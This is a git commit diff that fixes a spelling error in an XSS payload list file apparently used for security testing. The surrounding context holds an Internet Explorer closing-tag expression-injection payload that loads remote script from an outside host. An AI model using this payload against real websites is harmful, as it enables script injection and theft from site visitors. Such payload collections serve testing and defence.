spelling: where

Signed-off-by: Josh Soref <jsoref@users.noreply.github.com>

Author: jsoref

attack/xss/JHADDIX_XSS_WITH_CONTEXT.doc.txt

@@ -547,7 +547,7 @@ Author Name: .mario
 IE closing-tag expression injection
 Exploit Name: IE closing-tag expression injection
 Exploit String: </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">
-Exploit Description: This vector exploits a bug in IE whre attributes in closing comments are evaluated.
+Exploit Description: This vector exploits a bug in IE where attributes in closing comments are evaluated.
 Exploit Tags: general, injection, internet explorer
 Author Name: .mario